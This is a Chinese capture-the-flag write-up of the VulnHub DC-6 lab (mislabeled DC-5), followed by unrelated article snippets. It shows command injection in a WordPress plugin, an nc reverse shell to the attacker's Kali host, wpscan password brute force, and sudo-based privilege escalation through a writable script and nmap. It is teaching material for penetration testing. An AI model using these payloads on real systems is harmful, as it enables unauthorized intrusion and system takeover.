[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

news2025/1/12 4:51:21

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、靶场描述
    • 2、下载靶场环境
    • 3、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:寻找靶机真实IP
      • 1.nmap探活主机
      • 2.arp-scan探活主机
    • 3、信息收集:探端口及服务
      • 1.nmap探活端口
      • 2.masscan探活端口
    • 4、访问web服务
      • 1.Windows修改hosts文件
      • 2.linux修改hosts文件
      • 3.hosts文件修改成功
    • 5、信息收集:web指纹识别
      • 1.Whatweb指纹识别
      • 2.棱洞3.0指纹识别
    • 6、使用扫描网站结构
      • 1.nikto扫描网站结构
      • 2.访问登陆页面
    • 7、获取用户密码
      • 1.发现存在用户
      • 2.制作用户字典
      • 3.制作密码字典
      • 4.爆破密码
      • 5.登录后台站点
    • 8、发现RCE漏洞
      • 1.执行whoami
      • 2.发现长度限制并绕过
    • 9、反弹shell到kali
      • 1.kali监听
      • 2.靶机执行命令
      • 3.反弹shell成功
      • 4.进入交互式shell
    • 10、Kali搜索漏洞
    • 11、提权
      • 1.尝试suid提权失败
      • 2.查找可执行操作
      • 3.发现graham账户密码
      • 4.切换到graham用户
      • 5.发现jens目录下backups.sh文件
      • 6.切换到jens 用户
      • 7.发现jens可在无密码下执行nmap
      • 8.提权成功
      • 9.发现flag
  • 三、相关资源

一、环境搭建:

1、靶场描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-6,315/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行。具体操作步骤可以看我之前的文章,这里就不要截图详细介绍了。搭建完成之后显示如下。

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

1.nmap探活主机

使用nmap进行探活,寻找靶机ip

nmap -sP 192.168.233.0/24

在这里插入图片描述

2.arp-scan探活主机

也可以使用arp-scan进行探活,寻找靶机ip

arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.186

192.168.233.1		vm8网卡
192.168.233.2		网关
192.168.233.186	靶机
192.168.233.254	DHCP服务器
192.168.233.130	kali本机

3、信息收集:探端口及服务

1.nmap探活端口

使用nmap探活端口

nmap -A -p- -v 192.168.233.186

在这里插入图片描述
在这里插入图片描述

发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

2.masscan探活端口

也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.186

在这里插入图片描述

4、访问web服务

http://192.168.233.186/

发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。

在这里插入图片描述

1.Windows修改hosts文件

打开hosts文件,hosts文件路径如下

C:\WINDOWS\system32\drivers\etc

添加如下内容

192.168.233.186 wordy

在这里插入图片描述

2.linux修改hosts文件

hosts文件路径如下

/etc/hosts

Vim修改hosts文件

vim /etc/hosts

在这里插入图片描述

添加如下内容

192.168.233.186 wordy

在这里插入图片描述

3.hosts文件修改成功

重新访问就ok了

http://192.168.233.186/

在这里插入图片描述

5、信息收集:web指纹识别

Apache[2.4.25]
HTML5
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)]
JQuery[1.12.4]
MetaGenerator[WordPress 5.1.1]
PoweredBy[WordPress]
Script[text/javascript]
UncommonHeaders[link]
WordPress[5.1.1]

1.Whatweb指纹识别

然后进行web指纹识别

whatweb -v 192.168.233.186

在这里插入图片描述
在这里插入图片描述

2.棱洞3.0指纹识别

棱洞3.0下载及使用链接于文末给出

Ehole3.0-Win.exe -u http://192.168.233.186

在这里插入图片描述

6、使用扫描网站结构

1.nikto扫描网站结构

使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录

nikto -h http://192.168.233.186 -o nikto-wordy.txt

在这里插入图片描述

2.访问登陆页面

http://wordy/wp-login.php

在这里插入图片描述

7、获取用户密码

这里是直接采用的wpscan进行的爆破,当然也可以使用bp或者其他工具进行爆破

1.发现存在用户

使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户

wpscan --url wordy -e u

发现五个用户

admin
graham
mark
sarah
jens

在这里插入图片描述
在这里插入图片描述

2.制作用户字典

cd /usr/share/wordlists
vim wordy-users.dic

在这里插入图片描述

admin
graham
mark
sarah
jens

在这里插入图片描述

3.制作密码字典

题目中给出了提示,告诉了我们密码字典的生成方式

CLUE
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

在这里插入图片描述

cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic

在这里插入图片描述

cat wordy-pass1.dic

在这里插入图片描述

4.爆破密码

wpscan --url wordy -U wordy-users.dic -P wordy-pass1.dic

成功爆破出来一对用户密码

mark/helpdesk01

在这里插入图片描述
在这里插入图片描述

5.登录后台站点

http://wordy/wp-login.php
Mark/helpdesk01

在这里插入图片描述

登录成功

http://wordy/wp-admin/

在这里插入图片描述

8、发现RCE漏洞

简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。

1.执行whoami

http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
8.8.8.8;whoami

在这里插入图片描述

2.发现长度限制并绕过

发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell

114.114.114.114;whoami

在这里插入图片描述

9、反弹shell到kali

1.kali监听

nc -lvnp 55555

在这里插入图片描述

2.靶机执行命令

把html输入内容位置改成反弹的命令

114.114.114.114;nc -e /bin/bash 192.168.233.130 55555

在这里插入图片描述

3.反弹shell成功

在这里插入图片描述

4.进入交互式shell

这个shell不好用,进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

10、Kali搜索漏洞

如果你查看页面的时候发现不了这里有漏洞也可以使用kali搜索相关漏洞

searchsploit activity monitor

在这里插入图片描述

选择第三个命令执行,将这个html复制到你所在目录

cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html

在这里插入图片描述

然后修改相应的反弹shell IP和端口

google.frl nc -nlvp 192.168.233.130 55555 -e /bin/bash

在这里插入图片描述

Kali临时开启HTTP服务,并访问45274.html页面

python -m SimpleHTTPServer 80

在这里插入图片描述

http://192.168.233.130/45274.html

在这里插入图片描述

同时在kali监听55555端口,在页面点击submit request后,反弹shell成功

nc -lvvp 55555

在这里插入图片描述

11、提权

1.尝试suid提权失败

查找具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

没有发现可利用提权的程序,换一个思路
在这里插入图片描述

2.查找可执行操作

执行sudo -l,发现需要www-data的密码

sudo -l 

在这里插入图片描述

3.发现graham账户密码

进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码

cd /home/mark/stuff
cat things-to-do.txt
graham/GSo7isUM1D4

在这里插入图片描述

4.切换到graham用户

使用su命令切换到graham用户下

su graham
graham/GSo7isUM1D4

在这里插入图片描述

5.发现jens目录下backups.sh文件

路径:

/home/jens/backups.sh

在这里插入图片描述

查看备份文件

cat /home/jens/backups.sh

发现里面是如下命令,是对web的文件进行打包备份

tar -czf backups.tar.gz /var/www/html

在这里插入图片描述

6.切换到jens 用户

先切换到jens目录下

cd /home/jens/

在这里插入图片描述

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本

echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

脚本执行成功后,切换到jens用户

在这里插入图片描述

7.发现jens可在无密码下执行nmap

再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令

sudo -l

在这里插入图片描述

8.提权成功

百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

在这里插入图片描述

9.发现flag

cd /root
cat theflag.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、nmap
3、arp-scan
4、masscan
5、[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6、[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7、nikto
8、wpscan
9、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
10、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
11、简谈SUID提权
12、实现交互式shell的几种方式
13、修改hosts文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/416376.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深入了解Hugging Face Transformers库:NLP的转换之力

❤️觉得内容不错的话,欢迎点赞收藏加关注😊😊😊,后续会继续输入更多优质内容❤️👉有问题欢迎大家加关注私戳或者评论(包括但不限于NLP算法相关,linux学习相关,读研读博…

29岁,普通功能测试,我是如何在一周内拿到5份Offer的?

我有个朋友,29岁,功能测试已经2年有余,关于他的职业发展历程,以后会跟大家分享,今天主要想把他跟我分享的面试经历和经验分享给大家,帮助一些迷茫中的朋友。 最近,大概面试了7,8家公…

Redis -List

Redis List 本章介绍redis 的List的数据结构 Redis列表是字符串值的链表。Redis列表经常用于: 1、实现堆栈和队列 2、为后台工作系统提供队列管理 例如: 第一种情况,将List视为一种先进先出的队列 Treat a list like a queue (first in, fi…

Linux系统安装MySQL

使用wget命令下载安装包,命令: ​ wget http://dev.MySQL.com/get/Downloads/MySQL-5.7/mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz​ 1、查看是否已经安装MySQL: 命令: rpm -qa|grep -i mysql 我的Linux是没有安装过的&…

rk3568点亮LCD(mipi)

rk3568 Android11/12 适配 mipi 屏 MIPI (Mobile Industry Processor Interface) 是2003年由ARM, Nokia, ST ,TI等公司成立的一个联盟,目的是把手机内部的接口如摄像头、显示屏接口、射频/基带接口等标准化,从而减少手机设计的复杂程度和增加设计灵活性…

【Java版oj】day27不用加减乘除做加法、三角形

目录 一、不用加减乘除做加法 (1)原题再现 (2)问题分析 (3)完整代码 二、三角形 (1)原题再现 (2)问题分析 (3)完整代码 一、不用…

Midjourney V5太炸裂:逼真到颤抖!“有图有真相”时代彻底过去 画画创作者 模特一键淘汰

** ** 文章目录1、Midjourney V51.1、许多人纷纷惊呼:人类画师别活了。1.2、通用模型2、midjourney是什么3、midjourney 的使用方式4、Midjourney新手入门描述词5、一些疑难杂症1、Midjourney V5 继GPT-4发布之后,Midjourney V5上线。网友纷纷试玩&…

java学习之局部内部类

目录 一、内部类简介 二、内部类的分类 三、局部内部类 第一点 第二点 第三点 第四点 第五点 第六点 第七点 一、内部类简介 类的五大成员:属性、方法、构造器、代码块、内部类 package com.hspedu.innerclass;public class InnerClass01 {public static…

2023 年嵌入式世界的3 大趋势分析

目录 大家好,本文讲解了嵌入式发展的3个大趋势,分享给大家。 趋势#1 – Visual Studio Code Integration 趋势#2 –支持“现代”软件流程 趋势 #3 – 在设计中利用 AI 和 ML 结论 大家好,本文讲解了嵌入式发展的3个大趋势,分享…

1、Git使用不完全指南:GitHub的使用详解

GitHub 是一个以开源为基础的社交化编程平台,开发者可以在上面分享代码、协同开发、交流等。下面我们来讲一下如何使用 GitHub。 1. 注册 GitHub 账号 首先,我们需要在 GitHub 上注册一个账号,访问GitHub官网:GitHub: Let’s bui…

IDEA win11安装flutter环境

1.环境说明 操作系统:win11编辑器:Idea 2022.2.1Flutter:3.7.7JDK:17 2.安装 Flutter SDK 2.1安装flutter sdk flutter中文网 2.2配置环境变量 1)在环境变量path中加入flutter的安装路径:D:\DevelopT…

结合PCA降维的DBSCAN聚类方法(附Python代码)

目录 前言介绍: 1、PCA降维: (1)概念解释: (2)实现步骤: (3)优劣相关: 2、DBSCAN聚类: (1)概念解释&a…

关于镜头畸变问题的总结

1、问题背景最近在做的项目有畸变校正的需求,但测试镜头畸变时,发现畸变的形态不太正常。如下图所示中间向内凹、四周向外凸,感觉像是曲线型的。但常见的畸变就两种,一种是向内收的枕形畸变,另一种是向外凸的桶形畸变&…

SpringCloud:ElasticSearch之DSL查询文档

elasticsearch的查询依然是基于JSON风格的DSL来实现的。 1.1.DSL查询分类 Elasticsearch提供了基于JSON的DSL(Domain Specific Language)来定义查询。常见的查询类型包括: 查询所有:查询出所有数据,一般测试用。例如…

第04章_IDEA的安装与使用(上)

第04章_IDEA的安装与使用(上) 讲师:尚硅谷-宋红康(江湖人称:康师傅) 官网:http://www.atguigu.com 本章专题与脉络 【Why IDEA ?】 【注】JetBrains官方说明: 尽管我们采取了多种…

从二叉树角度看归并排序

归并排序本质上可以看作二叉树的后序遍历 里面用到的核心思想 > 分治 分:二叉树算法思想中的分解问题思想 治:链表中双指针技巧(将两条链表合并成一条有序链表) sort首先将数组分成左半边和右半边 > 然后分别对左右两…

Log库和配置系统结构

Log库: 类关系 首先有3个大类:LogEvent、LogAppender、Logger、LogFormat; 关系如下: Logger:具体log的实现 LogAppender:将Log信息传输到不同的目的地,根据不同的需求派生出不同的类 LogF…

Java 系列 Nacos

Java 系列文章 文章目录Java 系列文章前言一、Nacas 介绍及安装1. 什么是Nacos2. 为什么使用Nacos3. Nacos 下载和安装二、Nacos服务提供者注册1. Nacos代替Eureka2. Nacos服务注册中心3. Nacos Discovery引入1. 创建新项目2. POM3. YML文件4. 启动类5. 业务类6. 测试&#xff…

Git如何推送当前代码到远程仓库

第一种方法 (建立在已经配置好用户变量和ssh基础上) 在本地创建git仓库 git init 绑定远程仓库,origin是给远程仓库起的别名,也可以起其他名字,但是如果用origin,git push时可以不指出名字,如果…

【2023 · CANN训练营第一季】昇腾AI入门课(Pytorch)——第一章学习笔记

第一章 昇腾AI基础知识介绍 第2节 昇腾AI全栈架构 昇腾 AI 全栈可以分成四个大部分: 1.应用使能层面,此层面通常包含用于部署模型的软硬件,例如 API 、 SDK 、部署平台,模型库等等。 2. AI 框架层面,此层…